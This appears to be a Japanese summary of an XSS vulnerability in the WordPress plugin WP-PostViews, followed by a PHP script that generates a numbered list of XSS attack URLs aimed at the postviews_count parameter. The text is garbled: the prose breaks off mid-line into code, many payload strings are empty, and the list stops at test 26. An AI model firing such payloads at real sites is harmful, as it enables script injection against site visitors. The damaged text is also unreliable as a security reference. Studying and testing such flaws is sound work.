提供されたウェブページのスクリーンショットに基づき、本脆弱性情報の要約は以下の通りです。 脆弱性の概要 脆弱性名: CVE-2024-3993 (WordPress プラグイン - WP-PostViews) 脆弱性タイプ: クロスサイトスクリプティング (XSS) 説明: WP-PostViews プラグインの ファイルにクロスサイトスクリプティング (XSS) の脆弱性が存在します。この脆弱性により、認証されていない攻撃者は悪意のあるリクエストを構成し、 パラメータを使用して悪意のあるスクリプトを注入することができます。 影響範囲 対象ソフトウェア: WordPress プラグイン WP-PostViews 影響を受けるバージョン: バージョン 1.7.1 およびそれ以前 (Affected versions: alert(1)"; $url1 = $target_url . "?postviews_count=" . urlencode($payload1); echo "Test 1 (Basic XSS): " . $url1 . "\n\n"; // 2. 異なるエンコーディングを用いた postviews_count 経由のXSS $payload2 = "%3Cscript%3Ealert(1)%3C/script%3E"; $url2 = $target_url . "?postviews_count=" . $payload2; echo "Test 2 (Encoded XSS): " . $url2 . "\n\n"; // 3. 画像タグ (img src) を用いた postviews_count 経由のXSS $payload3 = ""; $url3 = $target_url . "?postviews_count=" . urlencode($payload3); echo "Test 3 (Img Tag XSS): " . $url3 . "\n\n"; // 4. bodyタグを用いた postviews_count 経由のXSS $payload4 = ""; $url4 = $target_url . "?postviews_count=" . urlencode($payload4); echo "Test 4 (Body Tag XSS): " . $url4 . "\n\n"; // 5. inputタグを用いた postviews_count 経由のXSS $payload5 = ""; $url5 = $target_url . "?postviews_count=" . urlencode($payload5); echo "Test 5 (Input Tag XSS): " . $url5 . "\n\n"; // 6. svgタグを用いた postviews_count 経由のXSS $payload6 = ""; $url6 = $target_url . "?postviews_count=" . urlencode($payload6); echo "Test 6 (SVG Tag XSS): " . $url6 . "\n\n"; // 7. mathタグを用いた postviews_count 経由のXSS $payload7 = "alert(1)"; $url7 = $target_url . "?postviews_count=" . urlencode($payload7); echo "Test 7 (Math Tag XSS): " . $url7 . "\n\n"; // 8. marqueeタグを用いた postviews_count 経由のXSS $payload8 = ""; $url8 = $target_url . "?postviews_count=" . urlencode($payload8); echo "Test 8 (Marquee Tag XSS): " . $url8 . "\n\n"; // 9. videoタグを用いた postviews_count 経由のXSS $payload9 = ""; $url9 = $target_url . "?postviews_count=" . urlencode($payload9); echo "Test 9 (Video Tag XSS): " . $url9 . "\n\n"; // 10. audioタグを用いた postviews_count 経由のXSS $payload10 = ""; $url10 = $target_url . "?postviews_count=" . urlencode($payload10); echo "Test 10 (Audio Tag XSS): " . $url10 . "\n\n"; // 11. detailsタグを用いた postviews_count 経由のXSS $payload11 = ""; $url11 = $target_url . "?postviews_count=" . urlencode($payload11); echo "Test 11 (Details Tag XSS): " . $url11 . "\n\n"; // 12. formタグを用いた postviews_count 経由のXSS $payload12 = "Click"; $url12 = $target_url . "?postviews_count=" . urlencode($payload12); echo "Test 12 (Form Tag XSS): " . $url12 . "\n\n"; // 13. objectタグを用いた postviews_count 経由のXSS $payload13 = ""; $url13 = $target_url . "?postviews_count=" . urlencode($payload13); echo "Test 13 (Object Tag XSS): " . $url13 . "\n\n"; // 14. embedタグを用いた postviews_count 経由のXSS $payload14 = ""; $url14 = $target_url . "?postviews_count=" . urlencode($payload14); echo "Test 14 (Embed Tag XSS): " . $url14 . "\n\n"; // 15. iframeタグを用いた postviews_count 経由のXSS $payload15 = ""; $url15 = $target_url . "?postviews_count=" . urlencode($payload15); echo "Test 15 (Iframe Tag XSS): " . $url15 . "\n\n"; // 16. baseタグを用いた postviews_count 経由のXSS $payload16 = ""; $url16 = $target_url . "?postviews_count=" . urlencode($payload16); echo "Test 16 (Base Tag XSS): " . $url16 . "\n\n"; // 17. linkタグを用いた postviews_count 経由のXSS $payload17 = ""; $url17 = $target_url . "?postviews_count=" . urlencode($payload17); echo "Test 17 (Link Tag XSS): " . $url17 . "\n\n"; // 18. styleタグを用いた postviews_count 経由のXSS $payload18 = "@import 'javascript:alert(1)';"; $url18 = $target_url . "?postviews_count=" . urlencode($payload18); echo "Test 18 (Style Tag XSS): " . $url18 . "\n\n"; // 19. スクリプトタグを用いた postviews_count 経由のXSS (再テスト) $payload19 = "alert(1)"; $url19 = $target_url . "?postviews_count=" . urlencode($payload19); echo "Test 19 (Script Tag XSS): " . $url19 . "\n\n"; // 20. noscriptタグを用いた postviews_count 経由のXSS $payload20 = "alert(1)"; $url20 = $target_url . "?postviews_count=" . urlencode($payload20); echo "Test 20 (Noscript Tag XSS): " . $url20 . "\n\n"; // 21. titleタグを用いた postviews_count 経由のXSS $payload21 = "alert(1)"; $url21 = $target_url . "?postviews_count=" . urlencode($payload21); echo "Test 21 (Title Tag XSS): " . $url21 . "\n\n"; // 22. metaタグを用いた postviews_count 経由のXSS $payload22 = ""; $url22 = $target_url . "?postviews_count=" . urlencode($payload22); echo "Test 22 (Meta Tag XSS): " . $url22 . "\n\n"; // 23. basefontタグを用いた postviews_count 経由のXSS $payload23 = ""; $url23 = $target_url . "?postviews_count=" . urlencode($payload23); echo "Test 23 (Basefont Tag XSS): " . $url23 . "\n\n"; // 24. bgsoundタグを用いた postviews_count 経由のXSS $payload24 = ""; $url24 = $target_url . "?postviews_count=" . urlencode($payload24); echo "Test 24 (Bgsound Tag XSS): " . $url24 . "\n\n"; // 25. blinkタグを用いた postviews_count 経由のXSS $payload25 = ""; $url25 = $target_url . "?postviews_count=" . urlencode($payload25); echo "Test 25 (Blink Tag XSS): " . $url25 . "\n\n"; // 26. fontタグを用いた postviews_count 経由のXSS $payload26 = ""; $url26 = $target_url . "?postviews_count=" . urlencode($payload26); echo "Test 26 (Font Tag